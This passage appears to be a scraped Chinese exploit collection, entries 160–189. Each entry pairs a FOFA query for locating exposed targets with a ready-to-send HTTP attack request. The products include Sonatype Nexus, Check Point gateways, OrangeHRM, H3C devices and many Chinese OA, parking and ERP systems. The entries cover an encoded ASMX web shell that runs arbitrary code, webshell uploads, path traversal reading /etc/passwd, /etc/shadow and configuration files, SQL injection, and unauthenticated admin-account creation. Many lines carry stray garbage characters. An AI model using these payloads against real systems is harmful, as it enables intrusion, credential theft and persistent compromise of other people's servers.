2 O  J: m' o9 k9 s& T; ]<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
, w8 e% V$ N8 y8 ]</soap:Body>
3 _& d8 f/ `, r! p7 e</soap:Envelope>

9 ^7 \+ a/ k$ Q3 w) k; D
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

8 `! _8 E3 R7 d( z+ B
160. Sonatype Nexus Repository 3目录遍历与文件读取
6 t6 o, s: q1 V2 D% TCVE-2024-4956
# ]& |1 u* s  R$ z; O( v0 QFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
* m+ s  g! i  z1 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
: y: C- a1 B, w: s" s# }+ }Connection: close
! L1 x: ?3 D: J+ r# S0 P' MAccept: */*
: ?7 ^7 e0 O+ k4 Z" [8 r+ qAccept-Language: en
8 Z2 }+ N6 w1 o& {% IAccept-Encoding: gzip
  D6 ^# `( ?% Y! M$ z

4 ^' R+ A0 b' S! v. j+ D161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
' ?2 G2 ?* u4 r6 wFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
& k6 r) E4 E  r- e4 q! ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! S; f- Q1 [1 Z' G* [4 w4 K' ?3 o  \Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

: u! a7 X. K- |6 O4 j' O. m<?xml version="1.0" encoding="utf-8"?>
/ @$ b9 z3 V7 _3 R& ~$ p: z( T& s2 V7 N<soap:Envelope xmlns:xsi="
# C5 ]& @7 W. V4 x, Jhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
. `1 R* n) H  d+ o% Zxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+ f$ J) |+ {9 k" D<soap:Body>
0 n3 \2 W6 `% l* d<UploadResume xmlns="http://tempuri.org/">
1 M! A/ _6 `- q" O, \2 F<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
! n) k- [( M* j+ \<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
5 {/ r" z7 B2 p+ }8 K+ l<tag>3</tag>
9 v2 G  L3 |9 |4 d</UploadResume>
</soap:Body>
: v  s/ h+ {. G7 T' n+ R% I</soap:Envelope>
' p3 Y$ y+ @; T
" x% |. O/ T& U4 Y6 e
http://x.x.x.x/dizxdell.aspx

0 A0 @% l- M% j' f- s4 ?162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
2 O% r* r# G7 lFOFA: app="和丰山海-数字标牌"
8 K) e6 M3 n9 {) {' hPOST /QH.aspx HTTP/1.1
" y3 M4 V% a& g6 O+ M& vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
' T6 `: g7 F* a$ r: H- CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
' d$ F0 r* m' g# d0 N/ W! W
& R$ c. N" e0 i5 b8 E5 u<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
) ^& O" g1 w3 {, W+ M0 N
, |) k* @4 I6 ?$ H6 X$ U- |6 H& B6 Tupload
------WebKitFormBoundaryeegvclmyurlotuey
, ~! ]! b/ z( E, N' t" R! dContent-Disposition: form-data; name="responderId"
* x1 `- E) L) n- c7 Q
ResourceNewResponder
: Z& f8 F4 a2 Q7 s7 V------WebKitFormBoundaryeegvclmyurlotuey
9 K& d  D6 `! w! _: }Content-Disposition: form-data; name="remotePath"
) i2 Y5 Q% N, Y7 i9 y# d( h
5 i* s* h8 }8 @7 W# E: t# V/opt/resources
! W4 `1 y6 Q3 d: i7 Q! U  _/ X% T------WebKitFormBoundaryeegvclmyurlotuey--
- U) y1 T9 S2 z
' R6 T& \% K! a, u2 |, t
+ S7 |7 E- C: `6 X$ xhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" T4 ^6 p' {! P0 f  dFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
: X; x; r. {8 w% Z0 hHost: x.x.x.x
) i( ]  `; H4 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
; j7 F& j9 f  }' m6 c1 Q9 rContent-Length: 293
8 {2 l: ?/ v& W- h' d+ R# O( `Accept: */*
1 b/ A. a* T1 P! x5 u, EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. L9 F1 c  v! s. n2 r; H, _Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

# t$ u0 [' v) B6 u1.php
5 ^! s% H( K( F7 M1 O# U' v------iiqvnofupvhdyrcoqyuujyetjvqgocod
( H/ l& I! s# I7 _/ q( PContent-Disposition: form-data; name="upfile"; filename="1.php"
; o4 r- `* j# m( uContent-Type: image/jpeg
8 P# j0 S5 j0 U: X5 p8 N
rvjhvbhwwuooyiioxega
) i2 Q& T9 ?4 W) ]7 r" A) Q/ s------iiqvnofupvhdyrcoqyuujyetjvqgocod--


1 G" x  E) t% R3 ]8 Y% {164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
6 ^0 L/ E7 M4 e7 S; R( a1 V/ rPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
6 I8 ]. h. P* eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
# I2 ?! J2 y+ o5 K/ K) L; tContent-Length: 288
  y& t, N( o( u' }- k" a) G- jAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
! A9 _9 _8 n5 ?, a" f. rConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
7 y8 V6 m1 \0 c' c- ^( c+ E
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
, ^2 a3 a; s, i! i' [3 w+ m- hContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
! w' t# G5 X% [5 U! z------dqdaieopnozbkapjacdbdthlvtlyl--
  m# X' X9 b- N4 V8 d

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
( @0 ~; j' u6 H. }8 T- n# gCVE-2024-36428
$ ^9 U+ P& T) \4 s: D  J4 AFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

4 |! X- T& ?6 i3 b4 \+ u. r& W9 c
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
9 T& R* I2 {9 f. d% h9 KPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
# q1 L% s1 S6 [! n( C5 j6 WHost:
Pragma: no-cache
. c6 U# y8 f, K! Z# c; W, O; qCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 D( r5 Z/ `7 U, G7 L" l$ lAccept-Encoding: gzip, deflate
% a* x* s7 x3 z+ QAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
+ Q8 {' v: E$ \; KCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
. C7 x' e* ^6 O9 F" KConnection: close
2 a/ j, C) `9 P- w0 FContent-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


+ C; y4 j7 k9 x6 Y- K167. 精益价值管理系统 DownLoad.aspx任意文件读取
5 z, c5 ~. V. I5 J1 KFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
9 P$ |3 }3 s; RHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" D6 [' `! `5 }0 FContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
9 E0 g2 P) Z( x  {Accept: */*
Connection: keep-alive
% e" N. @# S; L$ r3 ]

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
, m, {! r5 |) ?# OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
7 n: C; M2 r: X! I$ `9 |& NContent-Type: application/x-www-form-urlencoded
Connection: close

; z8 H. G) V  u& R

9 ~# _5 s. C6 ^; Z169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
( C8 C- ?) U$ \GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
4 Y) }. X+ \2 _9 f6 eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 `) S) \- ?; }. h8 |& |3 z* |Accept: */*
Accept-Encoding: gzip, deflate
+ l1 @' V6 N2 V: E' Y6 C/ c( X3 MConnection: close
4 O1 W  N& m8 @4 i


170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
' ~: y' B. ]; s5 c2 r6 R; tPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: ], r7 b6 B! d' ^$ n" hContent-Type: application/x-www-form-urlencoded
1 {0 z+ `3 r$ J9 i& k- l4 s
5 s8 X* _% E) G" a' _  o* ~filename=../webapps/ROOT/WEB-INF/web.xml
/ d( _- g5 b  R8 K7 b: j5 {5 V
6 _! j" v1 e1 U/ S, ^. ?
8 S! C: S/ \% A, }/ `% b171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
6 X- `) s9 W/ i9 |0 B* m8 aHost: your-ip
% c/ x: A4 b9 y' t8 p' z# L9 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
/ q) Y" j: i. q0 Q+ F) a1 I* e% K+ EAccept: */*
8 y5 E" R% i; p+ R1 W6 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
& N! g& m0 @3 O3 {% eConnection: close
$ ~! t! q9 Q% g6 r7 x+ G$ }

4 s& v; c( m( [/ g# b' L
: z2 E& @+ ^; N% [6 T172. DT-高清车牌识别摄像机任意文件读取
/ D9 b. t9 d" F  k& H! ^FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
& v4 b. I0 r3 Q: o6 I( GHost: your-ip
7 h8 {, c! d% h( k. ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
. c- J# v% ~$ D- R6 m- ]Accept: */*
  t* y. v+ W. e; Y8 W3 F$ zConnection: keep-alive

8 ], c1 a% }" h+ q/ P) ^' ^

0 Y* V" V/ A: n6 Q# n4 S4 f173. Check Point 安全网关任意文件读取
6 M6 k. e4 d. s$ a- l9 W; C0 CCVE-2024-24919
* D1 Q, y8 m) H8 Z* wFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
5 y  e0 ~- ?& O: lHost: your-ip
Content-Type: application/x-www-form-urlencoded
6 X" W& u$ c& U3 L% M% W* e1 b
5 t1 I. F! w" u5 i0 u  W3 |) I2 Z8 K( eaCSHELL/../../../../../../../etc/shadow

: a' E: b/ D/ s, T$ |9 a

+ o+ Y- }- s* `7 i/ G' y5 z174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
, k2 T; H: D8 B* v* m. XConnection: close
4 c4 ~8 P% _# _1 s

+ Q" R! E0 n8 e3 Y! A
& V/ D; e8 U2 ]0 c175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
# {1 [6 F1 _4 z# zFOFA：app="金和网络-金和OA"
% b% m0 v( i, @5 ^+ A2 x) t5 FGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
2 o. p& N/ e- B# A  W$ ~Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ G/ g- z+ [- {! YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
) [0 s1 H: a7 D; O$ l/ u- ZUpgrade-Insecure-Requests: 1
: r! h% d9 o# c6 D8 [
' D9 O4 s( V  h6 H- u/ B+ Y
176. 电信网关配置管理系统 rewrite.php 文件上传
4 n' p; Q( w) LFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

6 z. p( j/ a  {9 I6 z7 K------WebKitFormBoundaryOKldnDPT
  w" L/ D2 n+ a. T0 SContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
: `( K1 v6 Q2 N  [( Z" E7 a$ W
; u. O5 P" o( y, b; T" F# R
. h; X7 x+ U* o* {) w1 }# |4 J------WebKitFormBoundaryOKldnDPT--



: h' D9 g/ i+ S2 u1 \- L177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
9 T; B+ W6 V( X$ D/userLogin.asp/../actionpolicy_status/../GR8300.cfg
7 R0 b5 x' @0 s0 \4 V; Y/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
0 S. y1 N# v9 O8 l" S9 c/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
) n9 a. Y( @6 N/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
& j5 o6 f6 R; y. u/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
! }. F1 {! u; z8 B! N/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
0 Z! a* o4 N3 V) D/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
. g( z0 \6 F1 q# ^- V' b
# d( j1 w! t" M5 w* F" I$ M( `
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
" ]. [' a; X/ }) ?Host:
. m4 y$ A$ A  M5 N& KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
6 V  a" l( Q7 GAccept-Encoding: gzip, deflate
  o4 M  j* J; p8 H3 m' o7 ]Connection: close
2 a* d; I6 S3 ]9 k! _# X! A2 l# Z9 SContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
% C  `% ?( `. t, K; l-----------------aqutkea7vvanpqy3rh2l
$ {2 c. F4 G/ q# P9 {: mContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

& V/ k8 t, V4 U* j( }% u12234
-----------------aqutkea7vvanpqy3rh2l--
& |  H% W1 |5 E
  u% C7 ?- O# R  n# @/ O! ]
! K  H; L- G8 O. z1 rGET /imc/primepush/%2e%2e/flex/12234.txt
& S/ A+ O5 [' C$ O

179. 建文工程管理系统存在任意文件读取
& z6 ]6 ~# d7 |* M3 q$ ^POST /Common/DownLoad2.aspx HTTP/1.1
' E' _( V! @4 p( o$ qHost: {{Hostname}}
7 V2 T) A8 u  n/ bContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
5 J0 D5 k' t6 B) `" d
path=../log4net.config&Name=
7 G3 g) J/ l& g) {

2 M% P  M; w' ^+ `180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
1 J. p5 J5 I9 X9 ^0 w" p# PHost: your-ip
2 }2 o- E0 I9 v% WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ j" C) Y; G* _, F" E1 z. e* LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: R& I" J9 O; o; N9 KAccept-Encoding: gzip, deflate
6 F  l- V; t: m0 \" Q1 t' f8 mAccept-Language: zh-CN,zh;q=0.9
$ o8 f% `# G1 D! d& z* gConnection: close


: @( g  C# A# D  ]; b! N( M181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
7 D+ M8 M- b; HPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
5 G! z+ B  ], X  H5 P! D; P5 `4 {7 DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! P' h2 ?3 l0 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; K5 k5 N. I. f" y4 qAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
7 \0 q$ B8 B: Y, RConnection: close
Content-Type: application/x-www-form-urlencoded

; P! B( M) Y. f% Z# J5 @) u1 w& D9 I
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
& g( Q, j9 \' I! i& o0 P2 \2 B5 g& P8 fPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
$ x7 P: t" n' w6 I! P( s) l7 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 B' m7 |+ O* [* ^9 u3 B( cAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
$ g& \( n/ [7 ?$ T4 a) O1 OConnection: close
Content-Type: application/x-www-form-urlencoded

, ^; f8 `% e. z4 i
username=test1234&pwd=test1234&savedays=1

3 k" E& o" z! q7 m/ y
" D' K) _' z/ V3 l9 ^8 H$ V183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
1 q8 l& K$ B; ^FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
. K6 _4 [+ q% N' k9 t- z- yGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
, W3 ~7 S9 E5 SHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
$ ^; c% |  @6 k

4 }4 g# P& c/ {% I184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
- H' F# Q  b- u, q; L+ K: e1 bFOFA：server="SunFull-Webs"
2 m5 x1 X& h' C$ {. J  G0 `POST /soap/AddUser HTTP/1.1
Host: your-ip
& @- a* W. m! c+ _" F) Y2 [Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
- n' b3 ~; K- J% k( Y3 J$ lContent-Type: text/xml; charset=utf-8
: n4 u% @: Z+ z8 T  H' YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ A# Z7 Z6 h9 U1 g: L5 h9 s9 l+ kX-Requested-With: XMLHttpRequest
  V, l" Z" p; @6 x1 }. w! X, ^
4 T. M" U4 L* [- r$ [$ |
* _& Z8 |9 C) }* I4 Minsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

8 C, F9 A5 K- a
185. 瑞友天翼应用虚拟化系统SQL注入
6 L* p' p+ v+ A! dversion < 7.0.5.1
" {# {0 E' S2 L3 nFOFA：app="REALOR-天翼应用虚拟化系统"
; a9 G7 g' W# q& {  C7 g7 g# XGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
( R* d0 a" Z: D

186. F-logic DataCube3 SQL注入
% _. S# Y; C) @CVE-2024-31750
# g2 P* H8 X* g# O0 YF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
/ c& C: m$ |/ n2 h1 n+ n3 f0 b/ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
- i4 b$ r$ T8 x1 |7 L) VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 y( p  N( o3 C+ N# k4 tConnection: close
; P' X  r3 k6 b5 a, dContent-Type: application/x-www-form-urlencoded

) `" J, ?' u: Q5 i) kreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
% W0 I& M3 `* B! \" h: JCVE-2024-32640
! a4 O3 q1 C( l& s0 F# KFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
7 G& E9 |2 A- t1 K% MContent-Type: application/x-www-form-urlencoded

$ j; ?/ i/ g& S% a
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

# W1 z5 q' ~5 G5 ]2 Z7 @# r. w; L
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
. Q" s# D  \' }4 Q( O. G4 h  @FOFA：body="/system/get_rtc_user_defined_info?site_id"
- o( ~* x9 m" W2 z1 gGET /attachment?file=/etc/passwd HTTP/1.1
5 k% j0 u6 r5 {( NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
$ K: G9 t# H6 U& R1 }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
4 X+ G. Y  L; e/ n1 t9 HAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
& c# `( l8 j3 P3 q- @9 a. w+ eConnection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
" g4 _  B$ }$ z& |& RFOFA：app="LANWON-临床浏览系统"
6 W; z+ ]. S" \. a) `GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
